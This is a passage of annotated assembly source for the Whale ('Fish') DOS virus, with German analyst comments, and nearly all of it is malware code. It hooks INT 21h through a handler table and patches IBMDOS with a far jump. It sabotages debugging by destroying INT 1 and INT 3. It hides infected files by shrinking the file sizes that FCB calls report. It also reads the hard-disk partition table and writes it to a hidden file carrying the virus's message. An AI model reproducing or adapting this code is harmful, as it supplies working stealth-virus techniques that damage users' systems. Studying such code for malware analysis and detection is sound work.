  704.                 POP     WORD PTR DS:[0006h]     ; INT 01 Segment= CS
  705.                 PUSH    CS
  706. J02AE4:         POP     AX
  707.                 OR      AX,0F346h               ; SET TF
  708.                 PUSH    AX
  709.                 POPF
  710.  
  711. J02AEA:         XLAT                            ; MOV AL,[BX+AL]
  712.                 MOV     BH,AL                   ; MOV AL,[2AA9+x]
  713.                 ADD     BX,CX
  714. J02AEF:         JMP     J047B1
  715. ;=========================================================( trash )===
  716.                 MOV     AX,[BX   ]
  717.                 MOV     BX,[BX+SI]
  718.                 XOR     AX,AX
  719.                 MOV     DS,AX
  720.                 JMP     J02AE4
  721. ;=====================================================================
  722. ;==========================( wird von INT 3 / INT 21h angesprungen)===
  723. ;=====================================================================
  724. J02AFB:         MDECODE 8
  725.                 push    bx
  726.                 mov     bx,sp
  727.                 mov     bx,ss:[bx+06]   ; HOLE Flags vom Caller-Stack
  728.                 mov     cs:[D24B3],bx   ; und merke sie
  729.                 pop     bx
  730.  
  731.                 push    bp              ; BP bleibt auf Stack
  732.                 mov     bp,sp
  733.                 call    StopINT_02
  734.                 call    SaveRegisters
  735.                 call    Patch_IBMDOS
  736.                 call    GetRegsFromVirStack
  737.                 call    PUSHALL
  738.                 MCODE   8
  739. ;=====================================================================
  740. ;=====================( sucht zu Wert in AL den passenden Handler )===
  741. ;=====================================================================
  742. GetHandler:     MDECODE 9
  743.                 CALL    PushALL
  744.                 MOV     WORD PTR CS:[D2598],OFFSET J02B8B-Offset VirStart
  745.                 MOV     BX,Offset J02B45-Offset VirStart
  746.                 MOV     CX,000Fh
  747. J02B38:         CMP     CS:[BX],AH
  748.                 JZ      J02B72
  749.                 ADD     BX,+03h
  750.                 LOOP    J02B38
  751.                 JMP     J02B7B
  752. ;=====================================================================
  753. J02B45:         ;=================================( Tabelle )=========
  754.                 if_then    <00fh,L0699>   ; 2EA9  ; open FCB
  755.                 if_then    <011h,L04F4>   ; 2D04  ; Findfirst FCB
  756.                 if_then    <012h,L04F4>   ;       ; Findnext  FCB
  757.                 if_then    <014h,L06E0>   ; 2EF0  ; Read Seq. FCB
  758.                 if_then    <021h,L06CA>   ; 2EDA  ; Read Random FCB
  759.                 if_then    <023h,L08CF>   ; 30DF  ; Get Filesize FCB
  760.                 if_then    <027h,L06C8>   ; 2ED8  ; Read Rndm Block FCB
  761.                 if_then    <03dh,L0996>   ; 31A6  ; OPEN FILE / HANDLE
  762.                 if_then    <03eh,L09E4>   ; 31F4  ; CLOSE File / Handle
  763.                 if_then    <03fh,L1E5E>   ; 466E  ; READ File / Handle
  764.                 if_then    <042h,L1DA2>   ; 45B2  ; SEEK / Handle
  765.                 if_then    <04Bh,L0AD4>   ; 325D  ; EXEC
  766.                 if_then    <04Eh,L1F70>   ; 4780  ; FindFirst ASCIIZ
  767.                 if_then    <04Fh,L1F70>   ; 4780  ; FindNext  ASCIIZ
  768.                 if_then    <057h,L1D0F>   ; 451F  ; Set/Get Filedate
  769. ;=====================================================================
  770. J02B72:         INC     BX
  771.                 PUSH    CS:[BX   ]
  772.                 POP     CS:[D2598]      ; Adresse in D2598
  773. J02B7B:         CALL    PopALL
  774. J02B7E:         MCODE 9
  775.                 JMP     CS:[D2598]      ; Springe zu [2598]
  776. ;================================================================()===
  777. J02B87:         PUSH    SI              ; ?!?!?!
  778.                 JMP     J0491B
  779.  
  780. ;=====================================================================
  781. ;==========================================( Low-INT-21h aufrufen )===
  782. ;=====================================================================
  783. J02B8B:         JMP     J048F3
  784. ;=========================================================( trash )===
  785.                 DB      043h,041h,031h,00fh,039h,00fh,077h
  786. ;=====================================================================
  787. ;================================================( Beendet Int21h )===
  788. ;=====================================================================
  789. IRET_Int21h:    MDECODE 10
  790.                 CALL    SaveRegisters
  791.                 CALL    Patch_IBMDOS
  792.                 CALL    GetRegsFromVirStack
  793. J02BA3:         MOV     BP,SP
  794.                 PUSH    CS:[D24B3]              ; PUSH Flags nach IRET
  795.                 POP     [BP+06]                 ; POP  Flags ---"----
  796.                 POP     BP
  797.                 CALL    Re_SET_Int_02
  798.                 MCODE   10
  799.                 IRET
  800. ;=====================================================================
  801. J02BB6:         DB      0D7h,03Ch,0FFh,075h
  802. ;=====================================================================
  803. ;=============================================( Pop alle Register )===
  804. ;=====================================================================
  805. ; ---------------- hilfsweise eingefügt :
  806. ;       J02BB6: XLAT
  807. ;               CMP     AL,0FFh
  808. ;               JZ      J02BA3
  809. ;               XCHG    AL,BYTE PTR DS:[0C912H] ; MUELL !!!
  810. ;               JMP     J02BBF
  811. ; ---------------- hilfsweise eingefügt :
  812. ;       J02BBC: PUSH    ES
  813. ;               ADC     CL,CL
  814. ;               JMP     J02BBF
  815. ; ---------------- Ende einfügung
  816. ;=====================================================================
  817. ;=============================================( Pop alle Register )===
  818. ;=====================================================================
  819. J02BBC  EQU     $+2
  820. PopALL:         MDECODE 11
  821. J02BBF:         POP     CS:[D24EA]
  822.                 POP     ES
  823.                 POP     DS
  824.                 POP     DI
  825.                 POP     SI
  826.                 POP     DX
  827.                 POP     CX
  828.                 POP     BX
  829.                 POP     AX
  830.                 POPF
  831.                 MCODE   11
  832.                 JMP     CS:[D24EA]
  833. ;=====================================================================
  834.                 DB      0F6h
  835. ;=====================================================================
  836. ;==========================( Holt alle Register aus dem Vir-Stack )===
  837. ;=====================================================================
  838. GetRegsFromVirstack:
  839.                 MDECODE 12
  840.                 MOV     Word Ptr CS:[D2557],SP
  841.                 MOV     Word Ptr CS:[D2559],SS
  842.                 PUSH    CS
  843.                 POP     SS
  844.                 MOV     SP,Word Ptr CS:[Vir_SP]
  845.  
  846.                 CALL    CS:PopALL
  847.  
  848.                 MOV     SS,Word Ptr CS:[D2559]
  849.                 MOV     Word Ptr CS:[Vir_SP],SP
  850.                 MOV     SP,Word Ptr CS:[D2557]
  851.                 MCODE   12
  852.                 RETN
  853. ;=====================================================================
  854.                 DB      0BEh                            ;02C05
  855.                 DB      0AFh                            ;02C06
  856.                 DB      "4"                             ;02C07
  857.                 DB      0Eh                             ;02C08
  858.                 DB      "[SZR"                          ;02C09
  859.                 DB      8Fh                             ;02C0D
  860.                 DB      06h                             ;02C0E
  861. ;=====================================================================
  862. ;========( 2c0f )=======================( Patcht INT 21 in IBMDOS )===
  863. ;=====================================================================
  864. Patch_IBMDOS:   MDECODE 13
  865. ;---------------------------------------------------------------------
  866.                 MOV     SI,Offset D244B
  867.                 LES     DI,CS:[Low_INT_21H]
  868.                 PUSH    CS
  869.                 POP     DS
  870.                 CLD
  871.                 MOV     CX,0005h ; Tauscht 5 Byte im DOS aus gegen
  872.                                  ; einen FAR-JMP zur Wal-Routine !
  873. J02C22:         LODSB
  874.                 XCHG    AL,ES:[DI]
  875.                 MOV     [SI-01h],AL
  876.                 INC     DI
  877.                 LOOP    J02C22
  878.                 MCODE   13
  879.                 RETN
  880. ;=====================================================( trash ?!? )===
  881. J02C31:         XOR     AX,CX
  882.                 INC     BX
  883.                 OR      ES:[BX],AX
  884.                 LOOP    J02C31
  885.                 MOV     BX,CX
  886.                 DB      0E8h                    ;... trash !
  887. ;=====================================================================
  888. ;============================================( pusht alle register)===
  889. ;=====================================================================
  890. PushALL:        MDECODE 14
  891.                 POP     CS:[D24EA]
  892.                 PUSHF
  893.                 PUSH    AX
  894.                 PUSH    BX
  895.                 PUSH    CX
  896.                 PUSH    DX
  897.                 PUSH    SI
  898.                 PUSH    DI
  899.                 PUSH    DS
  900.                 PUSH    ES
  901.                 MCODE   14
  902.                 JMP     CS:[D24EA]
  903. ;=====================================================================
  904. ;========================================( setzt INT 01 auf Tracer)===
  905. ;=====================================================================
  906. SetInt_01:      MDECODE 15
  907.                 MOV     AL,01h
  908.                 PUSH    CS
  909.                 POP     DS
  910.                 MOV     DX,Offset Int_01_entry-Offset VirStart
  911.                 CALL    SetInt_AL                       ; SET INT 01
  912.                 MCODE   15
  913.                 RETN
  914. ;=====================================================================
  915. ;===========================( setzt INT ( nummer in AL) auf DS:DX )===
  916. ;=====================================================================
  917. SetInt_AL:      MDECODE 16
  918.                 PUSH    ES
  919.                 PUSH    BX
  920.                 XOR     BX,BX
  921.                 MOV     ES,BX
  922.                 MOV     BL,AL
  923.                 SHL     BX,1
  924.                 SHL     BX,1
  925.                 MOV     ES:[BX    ],DX
  926.                 MOV     ES:[BX+02h],DS
  927.                 POP     BX
  928.                 POP     ES
  929. J02C88  EQU     $+2
  930.                 MCODE   16
  931.                 RETN
  932. ;=====================================================================
  933. ;==============================(sichert Register auf eigenem Stack)===
  934. ;=====================================================================
  935. SaveRegisters:  MDECODE 17
  936.                 MOV     CS:[D2557],SP
  937.                 MOV     CS:[D2559],SS
  938.                 PUSH    CS
  939.                 POP     SS
  940.                 MOV     SP,CS:[Vir_SP]
  941.                 CALL    CS:PUSHALL
  942.                 MOV     SS,CS:[D2559]
  943.                 MOV     CS:[Vir_SP],SP
  944.                 MOV     SP,CS:[D2557]
  945.                 MCODE   17
  946.                 RETN
  947. ;=====================================================================
  948. ;==============================( holt INT ( nummer AL ) nach ES:BX)===
  949. ;=====================================================================
  950. GetInt_AL:      MDECODE 18
  951.                 PUSH    DS
  952.                 PUSH    SI
  953.                 XOR     SI,SI
  954.                 MOV     DS,SI
  955.                 XOR     AH,AH
  956.                 MOV     SI,AX
  957.                 SHL     SI,1
  958.                 SHL     SI,1
  959.                 MOV     BX,[SI]
  960.                 MOV     ES,[SI+02h]
  961.                 POP     SI
  962.                 POP     DS
  963.                 MCODE   18
  964.                 RETN
  965. ;=====================================================================
  966. ;=========================( Zweiter Teil der Trace-Routine J02A63 )===
  967. ;=====================================================================
  968. J02CD8:         POP     AX      ; AX = 2A7Dh
  969. J02CDA          EQU     $+1     ; = INC  SI
  970.                                 ;   OR   [BX],AL
  971.                                 ;   XCHG BX,[BP+08h] , usw.
  972.  
  973.                 ADD     WORD Ptr [BP+08h],+07h  ; Change IP after IRET  ??
  974.                 XCHG    BX,[BP+08h]
  975.                 MOV     DX,BX
  976.                 XCHG    BX,[BP+02h]
  977.  
  978.                 SUB     SI,@0478           ; = ADD SI,@FB88
  979.                 MOV     BX,SI              ;
  980.                 ADD     BX,SwapCode_6      ; 04EFh
  981.  
  982.                 POP     BP                 ; Original BP aus Trace-Routine
  983.                                            ; J02A63
  984.                 PUSH    CS:[SI+SwapCode_8] ; dort steht "E9CF"
  985.                 POP     AX                 ; AX = "E9CF"
  986.                 XOR     AX,020Ch           ; AX = "EBC3"
  987.                 MOV     CS:[BX],AL ; PATCHT INT 3 WEG : INT 3 -> RET
  988.                                    ; Spielt aber gefährlich mit der Queue,
  989.                                    ; kein Wunder, dass das Teil auf ATs
  990.                                    ; nicht funktioniert...
  991.                 ADD     AX,020Ch   ; AX = EDCF
  992. ;*********************************************************************
  993. CALL    EIN_RETURN      ;************ Eingefügt **********************
  994. ;*********************************************************************
  995. J02CFF:         INT     3          ; ->  RET
  996.                                    ; ABER RET [SP+2] !!!!!
  997.                                    ; das heisst : Ende der Trace-Routine
  998.                                    ; ist hier.
  999. ;=====================================================================
  1000. J02D00:         JMP     J02D60
  1001.                 DB      0EBh
  1002. ;=====================================================================
  1003. ;====================( Handler für Findfirst/Findnext FCB / AH=11 )===
  1004. ;=====================================================================
  1005. J02D04:         MDECODE 19
  1006.                 CALL    PopALL
  1007.                 CALL    CS:[@INT21]      ; CALL INT 21H
  1008.                 OR      AL,AL
  1009.                 MCODE   19
  1010.                 JZ      J02D1C
  1011.                 JMP     IRET_Int21h
  1012.                 ;------------------
  1013. J02D1C:         MDECODE 20
  1014.                 CALL    PushALL
  1015.                 CALL    GetDTA
  1016.                 MOV     AL,00h
  1017.                 CMP     BYTE Ptr DS:[BX],0FFh   ; Extended FCB ?
  1018.                 JNZ     J02D34
  1019.  
  1020.                 MOV     AL,[BX+06h]             ; dann Attribut -> AL
  1021.                 ADD     BX,+07h                 ; und zum Normalen FCB
  1022. J02D34:         AND     CS:[D24F0],AL           ;
  1023.                 TEST    BYTE Ptr DS:[BX+18h],80h; reserved..Shit
  1024.                 MCODE   20
  1025.                 JNZ     J02D46
  1026.                 JMP     J02EA3                  ; fertig
  1027.  
  1028. J02D46:         SUB     BYTE Ptr DS:[BX+18h],80h
  1029.                 CMP     WORD Ptr DS:[BX+1Dh],Code_len
  1030.                 JNB     J02D54
  1031.                 JMP     J02EA3                  ; fertig
  1032.  
  1033. J02D54:         SUB     WORD Ptr DS:[BX+1Dh],Code_len
  1034.                 SBB     WORD Ptr DS:[BX+1Fh],+00h
  1035.                 JMP     J02EA3                  ; fertig
  1036. ;=====================================================================
  1037. J02D60:         LOOP    J02D66          ; wenn CX <> 0 dann J02D66
  1038.                 JMP     J03251          ; sonst J03251 -> J034D4
  1039. ;---------------------------------------------------------------------
  1040.                 DB      0ebh            ; TRASH !
  1041. ;---------------------------------------------------------------------
  1042. J02D66:         INC     BX
  1043.                 JMP     J02FA2
  1044. ;=====================================================================
  1045. ;===============================================( Suche nach Fish )===
  1046. ;=====================================================================
  1047. Suche_Fish:     MDECODE 21
  1048.                 CALL    PushALL
  1049.                 IN      AL,40h    ; Hole Zufallszahl
  1050.                 CMP     AL,40h    ; ist sie < 40h, dann Partitionstabelle
  1051.                 MCODE   21        ; lesen und FISH.TBL erzeugen
  1052.                 JB      J02D7F
  1053.                 JMP     J02E9F    ; sonst nicht.
  1054. ;=====================================================================
  1055. ;============( LESEN der Partitionstabelle bei jeder 4. Infektion )===
  1056. ;=====================================================================
  1057. J02D7F:         MDECODE 22
  1058.                 MOV     AL,01h          ; EINEN SEKTOR
  1059.                 MOV     AH,02h          ; LESEN
  1060.                 PUSH    CS
  1061.                 POP     BX
  1062.                 SUB     BH,10h          ;
  1063.                 MOV     ES,BX           ; NACH ES:0000h
  1064.                 MOV     BX,0000h        ;
  1065.                 MOV     CH,00h          ; SPUR 0
  1066.                 MOV     CL,01h          ; SEKTOR 1 ( Partitionstabelle )
  1067.                 MOV     DH,00h          ; 1. HEAD
  1068.                 MOV     DL,80h          ; 1. FESTPLATTE
  1069.                 PUSHF
  1070.                 CALL    DWORD PTR CS:[Trace_Adres]     ; INT 13h !
  1071.                 MCODE   22
  1072.                 JNB     J02DA9
  1073.                 JMP     J02E9F
  1074. ;=====================================================================
  1075. ;=========================( erzeugen der FISH.TBL als HIDDEN-File )===
  1076. ;=====================================================================
  1077. J02DA9:         MDECODE 23
  1078.                 PUSH    CS
  1079.                 POP     DS
  1080.                 MOV     AH,5Bh                  ; CREATE NEW FILE
  1081.                 MOV     CX,0002h                ; ATTRIBUT "SYSTEM"
  1082.                 MOV     DX,OFFSET D2DDB-Offset VirStart
  1083.                                                 ; NAME IN DS:05CBH/CS:D2DDB
  1084.                 CALL    CS:[@INT21]
  1085.                 JNB     J02DC2
  1086.                 JMP     J02E9B
  1087. J02DC2:         PUSH    ES
  1088.                 POP     DS
  1089.                 MOV     BX,AX
  1090.                 MOV     AH,40h                  ; schreibe
  1091.                 MOV     CX,0200h                ; 200h Byte
  1092.                 MOV     DX,0000h                ; ab ES:0000
  1093.                                                 ; Partitionstabelle
  1094.                 CALL    CS:[@INT21]
  1095.                 JB      J02DD8
  1096.                 JMP     J02E85
  1097. J02DD8:         JMP     J02E9B
  1098.         ;=============================================================
  1099. D2DDB   DB      "C:\FISH-#9.TBL",0
  1100. D2DEA   DB      "FISH VIRUS #9  "
  1101.         DB      "A Whale is no Fish! "
  1102.         DB      "Mind her Mutant Fish and the hidden Fish Eggs for "
  1103.         DB      "they are damaging. "
  1104.         DB      "The sixth Fish mutates only if Whale is in her Cave"
  1105.         ;=============================================================
  1106. J02E85:         PUSH    CS
  1107.                 POP     DS
  1108.                 MOV     AH,40h
  1109.                 MOV     CX,009Bh
  1110.                 MOV     DX,OFFSET D2DEA-Offset VirStart
  1111.                 CALL    DS:[@INT21]
  1112.                 JB      J02E9B
  1113.                 MOV     AH,3Eh
  1114.                 CALL    DS:[@INT21]
  1115. J02E9B:         MCODE   23
  1116. J02E9F:         CALL    PopALL
  1117.                 RETN
  1118. ;---------------------------------------------------------------------
  1119. J02EA3:         CALL    PopALL
  1120.                 JMP     IRET_Int21h
  1121. ;=====================================================================
  1122. ;================================( Handler für OPEN FCB , AH = 0F )===
  1123. ;=====================================================================
  1124. J02EA9:         MDECODE 24
  1125.                 CALL    PopALL
  1126.                 CALL    CS:[@INT21]
  1127.                 CALL    PushALL
  1128.                 OR      AL,AL
  1129.                 MCODE   24
  1130. ;==============================
  1131.                 JNZ     J02EA3          ; fertig
  1132.  
  1133.                 MOV     BX,DX
  1134.                 TEST    BYTE Ptr DS:[BX+17h],80h
  1135.                 JZ      J02EA3          ; fertig
  1136.                 SUB     BYTE Ptr DS:[BX+17h],80h
  1137.                 SUB     WORD Ptr DS:[BX+10h],Code_len   ; unerkannt
  1138.                                                         ; bleiben
  1139.                 SBB     BYTE Ptr DS:[BX+12h],00h
  1140.                 JMP     J02EA3          ; fertig
  1141. ;=====================================================================
  1142. ;=============================( Handler für Read Random Block FCB )===
  1143. ;=====================================================================
  1144. J02ED8:         JCXZ    J02F08
  1145. ;=====================================================================
  1146. ;===================================( Handler für Read Random FCB )===
  1147. ;=====================================================================
  1148. J02EDA:         MDECODE 25
  1149.                 MOV     BX,DX
  1150.                 MOV     SI,[BX+21h]
  1151.                 OR      SI,[BX+23h]
  1152.                 MCODE   25
  1153.                 JNZ     J02F08
  1154.                 JMP     J02F03
  1155.                 DB      0e8h
  1156. ;=====================================================================
  1157. ;================================( Handler für Read Seq. FCB.AH=14)===
  1158. ;=====================================================================
  1159. J02EF0:         MDECODE 26
  1160.                 MOV     BX,DX       ; DS:DX ist Adresse des geöffneten FCB
  1161.                 MOV     AX,[BX+0Ch] ;
  1162. J02EFA:         OR      AL,[BX+20h]
  1163.                 MCODE   26
  1164.                 JNZ     J02F08
  1165.  
  1166. J02F03:         CALL    J0397A          ; SAVEREGS,ES=DS, DI=DX+0Dh
  1167.                 JNB     J02F55          ; Datei ist ausführbar
  1168. J02F08:         JMP     J02B8B          ; sonst : CALL LOW-INT-21
  1169. ;=====================================================================
  1170. J02F0B:         JMP     J03251          ; -> J034D4
  1171. ;-----------------------------------------------------------(trash)---
  1172.                 MOV     [BP+02h],DX
  1173.                 MOV     [BP+04h],CX
  1174.                 DB      0EBh
  1175. ;---------------------------------------------------------------------
  1176. ;------------------------( erste Proc nach Initialisierung von SI )---
  1177. ;---------------------------------------------------------------------
  1178. J02F15:         IN      AL,21h          ; SI = 2810h / VirStart
  1179.                 OR      AL,02h
  1180.                 OUT     21h,AL
  1181.                 XOR     BX,BX
  1182.                 PUSH    BX              ; PUSH 0 auf Stack
  1183.                 MOV     BP,0020h
  1184.                 POP     DS              ; DS = 0000
  1185.                 MOV     CX,BP           ; CX = 0020
  1186.                 CALL    $+3             ; GET IP
  1187.                 POP     BX              ; BX = 2F27
  1188.                 PUSH    BX
  1189.                 POP     DX              ; DX = 2F27
  1190.                 PUSH    CS
  1191.                 POP     AX              ; AX = CS
  1192.                 ADD     AX,0010h        ; AX = CS:0100
  1193.                 ADD     BX,AX
  1194.                 XOR     DX,BX
  1195.  
  1196. J02F33:         SUB     SI,@FB88        ; ADD SI,478h; SI = 2C88
  1197.                                         ; AX = 5BC0
  1198.                                         ; BX = 8AE7
  1199.                                         ; CX = 0020
  1200.                                         ; DX = A5C0
  1201.                                         ; DS = 0000
  1202.                 CALL    J02AD2          ;
  1203.                                         ; 2F3A auf Stack als ret-adr
  1204.                 ;------>(J02EC8)----[keine Rückkehr vom CALL ! ]------
  1205.                 ;-----------------------------------------------------
  1206.                 DB      0E9H
  1207. ;=====================================================================
  1208. ;====================================================( no entry...)===
  1209. ;=====================================================================
  1210.         MOV     BYTE PTR [DI],0EBH
  1211.         JMP     J035E3          ; Erzeugt eine 7 Byte-Tabelle und checkt
  1212.                                 ; Verfallsdatum
  1213. ;=====================================================================
  1214. ;====================================================( no entry...)===
  1215. ;=====================================================================
  1216. J02F41: XCHG    DX,BX
  1217. J02F43: MOV     WORD PTR DS:[0004h],BX
  1218.         OR      CX,CX
  1219.         JZ      J02F0B
  1220.         DEC     CX
  1221.         JMP     J02FA2
  1222. ;--------------------------------------------------------------------
  1223.         DB      1Ch,00,53h,57h,0E8h
  1224. ;=====================================================================
  1225. ;============================( zum Handler für Read Seq. FCB.AH=14)===
  1226. ;=====================================================================
  1227. J02F55:         MDECODE 27
  1228.                 CALL    CS:[@INT21]         ; CALL INT 21h
  1229.                 MOV     [BP-08],CX
  1230.                 MOV     [BP-04],AX
  1231.                 PUSH    DS
  1232.                 PUSH    DX
  1233.                 CALL    GetDTA
  1234.                 CMP     Word Ptr DS:[BX+14],1
  1235.                 MCODE   27
  1236.                 JZ      J02FF6
  1237. ;==========================================( check auf infektion )===
  1238. J02F7A:         MDECODE 28
  1239.                 MOV     AX,[BX    ]
  1240.                 ADD     AX,[BX+02h]
  1241.                 PUSH    BX
  1242.                 MOV     BX,[BX+04h]
  1243.                 XOR     BX,5348h        ; 'SH'  --> 'FISH' !
  1244.                 XOR     BX,4649h        ; 'FI'
  1245.                 ADD     AX,BX
  1246.                 POP     BX
  1247.                 MCODE   28
  1248.                 JZ      J02FF6
  1249.                 ADD     SP,+04h
  1250.                 JMP     J02EA3          ; fertig
  1251. ;=================================================================
  1252.                 DB      12h
  1253. ;=================================================================
  1254. J02FA0:         JMP     J02F33
  1255. ;=================================================================
  1256. J02FA2:
  1257.                 MOV     Word PTR DS:[0004h],DX
  1258.                 MOV     BX,Word Ptr DS:[000Ch]
  1259.                 IN      AL,01h                  ;?????!??????!????
  1260.                 OR      CX,CX
  1261.                 JZ      J02FC0
  1262.                 CMP     CL,BL
  1263.                 JB      J02FC0
  1264.                 XCHG    BX,DX
  1265.                 MOV     Word PTR DS:[0004h],DX
  1266.                 XOR     DX,AX
  1267.                 LOOP    J02FA0          ; JMP J02F33, if CX <> 0
  1268.                                         ; ist identisch mit
  1269.                                         ; "JMP J02FC0"....
  1270.                 JZ      J02FCB          ; -> J03251 -> J034D4
  1271.  
  1272.  
  1273. J02FC0:         ADD     SI,@0478
  1274.                 CALL    J02AD2          ; ->keine Rückkehr vom CALL !<-
  1275. ;-------------------------------------------------------------------
  1276.                 DB      0E9H,0A8h,09h,0EAh
  1277. ;-------------------------------------------------------------------
  1278. J02FCB:         JMP     J03251          ; -> 34d4
  1279. ;=====================( no entry )==( muss (!) ausgeführt werden )===
  1280. J02FCE:         MOV     BYTE PTR CS:[SI+SwapCode_5],0E8h
  1281.                                         ; Adresse J03259
  1282.                 OR      CX,CX           ; Ist am anfang immer 20h
  1283.                                         ; also wird 32 Mal diese Schleife
  1284.                                         ; ausgeführt und versucht, den
  1285.                                         ; INT 1 zu setzen.....
  1286.                 JZ      J02FCB          ; Zur Arbeit !
  1287.                 ;---------------------------------------------------
  1288.                 ; INT 1 und INT 3 zerstören.
  1289.                 ;---------------------------------------------------
  1290.                 MOV     Word Ptr DS:[000Ch],BX
  1291.                 XOR     DX,BX
  1292.                 MOV     Word Ptr DS:[0004h],DX
  1293.                 XOR     AX,DX
  1294.                 MOV     Word Ptr DS:[000Ch],AX
  1295.                 JMP     J02D00                  ; schlechter Pfad !
  1296. ;========================================================( trash )===
  1297. J02FEA:         DB      081h,0c6h,090h,034h,0b9h,01ch
  1298.                 DB      000h,0f4h,0a4h,033h,0c9h,0e8h
  1299. ;=====================================================================
  1300. ;============================( zum Handler für Read Seq. FCB.AH=14)===
  1301. ;=====================================================================
  1302. J02FF6:         MDECODE 29
  1303.                 POP     DX
  1304.                 POP     DS
  1305.                 MOV     SI,DX
  1306.  
  1307.                 PUSH    CS
  1308.                 POP     ES
  1309.                 MOV     CX,0025h
  1310.                 MOV     DI,Offset @FCB  ; Kopiere FCB
  1311.                 REPZ    MOVSB
  1312.    
  1313.                 MOV     DI,Offset @FCB
  1314.                 PUSH    CS
  1315.                 POP     DS
  1316.                 MOV     DX,[DI+12h]     ; HOLE FILESIZE nach DX:AX
  1317.                 MOV     AX,[DI+10h]
  1318.                 ADD     AX,Code_Len+0FH ; ADD filesize, 240fh
  1319.                 ADC     DX,+00h
  1320.                 AND     AX,0FFF0h       ; Filesize auf (mod 16) normieren
  1321.                 MOV     [DI+12h],DX
  1322. J03020:         MOV     [DI+10h],AX     ; und zurueck
  1323.                 SUB     AX,Code_Len-4   ; 23fc abziehen
  1324.                 SBB     DX,+00h
  1325.                 MOV     [DI+23h],DX     ; und nach RandomRec kopieren ?!?
  1326.                 MOV     [DI+21h],AX     ; Dadurch wird das FILE in
  1327.                                         ; einem Record gelesen ( aber nur,
  1328.                                         ; wenn's kleiner als 1 Segment ist)
  1329.  
  1330.                 MOV     CX,001Ch        ; Lese 1Ch byte (EXE-Header)
  1331.                 MOV     WORD Ptr DS:[DI+0Eh],0001h
  1332.  
  1333.                 MOV     AH,27h          ; READ RANDOM BLOCK FCB
  1334.                 MOV     DX,DI
  1335.                 CALL    CS:[@INT21]
  1336.                 MCODE   29
  1337.                 JMP     J02EA3          ; fertig
  1338. ;=====================================================================
  1339. ;================================================( AUS DEM HIER : )===
  1340. ;=====================================================================
  1341. J03047: DB      03BH,0DEH       ; CMP     BX,SI
  1342.         DB      074H,0D5H       ; JZ      J03020
  1343.         RETN
  1344. ;=====================================================================
  1345. ;===============================================( Wird DAS HIER : )===
  1346. ;=====================================================================
  1347.         ;J03047:XOR     WORD PTR CS:[SI],BX
  1348.         ;       NOP
  1349.         ;       RET
  1350. ;=====================================================================
  1351. ;============================================(  DER CODE-PATCHER  )===
  1352. ;============================================( SI kommt mit 210Ah )===
  1353. ;=====================================================================
  1354. PATCH:          PUSH    BX
  1355.  
  1356.                 ADD     SI,OFFSET J0492F-OFFSET J0491A
  1357.                 MOV     BX,157Dh        ; SI = 211F / 492F
  1358.                 CALL    J03047
  1359.  
  1360.                 ADD     SI,+02h         ; SI = 2121 / 4931
  1361.                 MOV     BX,758Bh
  1362.                 CALL    J03047
  1363.  
  1364.                 ADD     SI,+02h         ; SI = 2123 / 4933
  1365.                 MOV     BX,0081h
  1366.                 CALL    J03047
  1367.  
  1368.                 ADD     SI,+08h         ; SI = 212B / 493B
  1369.                 MOV     BX,0A08h
  1370.                 CALL    J03047
  1371.  
  1372.                 ADD     SI,+02h         ; SI = 212D / 493D
  1373.                 MOV     BX,302Fh
  1374.                 CALL    J03047
  1375.  
  1376.                 ADD     SI,+02h         ; SI = 212f / 493F
  1377.                 MOV     BX,02A5h
  1378.                 CALL    J03047
  1379.                 ;----------------------( DECODE ist jetzt 'anders')---
  1380.  
  1381.                 ADD     SI,OFFSET J0499D-OFFSET J04941+2
  1382.                 MOV     BX,157Dh        ; SI = 218D / 499D
  1383.                 CALL    J03047
  1384.  
  1385.                 ADD     SI,+05h         ; SI = 2192 / 49A2
  1386.                 MOV     BX,0A09Fh
  1387.                 CALL    J03047
  1388.  
  1389.                 ADD     SI,+0Ah         ; SI = 219C / 49AC
  1390.                 MOV     BX,00A7h
  1391.                 CALL    J03047
  1392.  
  1393.                 ADD     SI,+0Ch         ; SI = 21A8 / 49B8
  1394.                 MOV     BX,872Dh
  1395.                 CALL    J03047
  1396.  
  1397.                 ADD     SI,+02h         ; SI = 21AA / 49BA
  1398.                 MOV     BX,7829h
  1399.                 CALL    J03047
  1400.  
  1401.                 ADD     SI,+02h         ; SI = 21AC / 49BC
  1402.                 MOV     BX,4229h
  1403.                 CALL    J03047
  1404.  
  1405.                 ADD     SI,+02h         ; SI = 21AE / 49BE
  1406.                 MOV     BX,1AC0h
  1407.                 CALL    J03047
  1408.                 ;---------------( CODEIT ist jetzt auch 'anders' )---
  1409.  
  1410.                 ADD     SI,OFFSET J04A2A-OFFSET J049C0 + 2
  1411.                                         ; SI = 221A / 4A2A
  1412.                 MOV     BX,1114h
  1413.                 CALL    J03047
  1414.  
  1415.                 ADD     SI,OFFSET J04A39 - OFFSET J04A2A
  1416.                                         ; SI = 2229 / 4A39
  1417.                 MOV     BX,0000h        ; ? NOP ?
  1418.                 CALL    J03047
  1419.  
  1420.                 ADD     SI,OFFSET J04A44 - OFFSET J04A39
  1421.                                         ; SI = 2234 / 4A44
  1422.                 MOV     BX,02E3h
  1423.                 CALL    J03047
  1424.  
  1425.                 POP     BX
  1426.                 RETN
  1427. ;=====================================================================
  1428. ;=================================( Handler für GET FILESIZE /FCB )===
  1429. ;=====================================================================
  1430. J030DF:         MDECODE 30
  1431.                 PUSH    CS
  1432.                 POP     ES
  1433.                 MOV     DI,Offset @FCB
  1434.                 MOV     CX,0025h                     ; Kopiere FCB
  1435.                 MOV     SI,DX
  1436.                 REPZ    MOVSB
  1437.    
  1438.                 PUSH    DS
  1439.                 PUSH    DX
  1440.                 PUSH    CS
  1441.                 POP     DS
  1442.  
  1443.                 MOV     AH,0Fh                       ; OPEN FCB
  1444.                 MOV     DX,Offset @FCB               ; FCB steht an DS:DX
  1445.                 CALL    CS:[@INT21]
  1446.                 MOV     AH,10h                       ; CLOSE FCB !
  1447.                 CALL    CS:[@INT21]
  1448.                 TEST    BYTE Ptr DS:[@FCB+17H],80h
  1449.                 POP     SI
  1450.                 POP     DS
  1451.                 MCODE   30
  1452.  
  1453.                 JZ      J03182
  1454.  
  1455.                 LES     BX,DWord ptr CS:[@FCB+010h] ; File-Size
  1456.  
  1457. J03117:         MDECODE 31
  1458.                 MOV     AX,ES
  1459.                 SUB     BX,Code_len
  1460.                 SBB     AX,0000h
  1461.                 XOR     DX,DX
  1462.                 MOV     CX,WORD PTR CS:[@FCB+0eh]  ; Rec-Size
  1463.                 DEC     CX
  1464.                 ADD     BX,CX
  1465.                 ADC     AX,0000h
  1466.                 INC     CX
  1467.                 DIV     CX
  1468.                 MOV     [SI+23h],AX
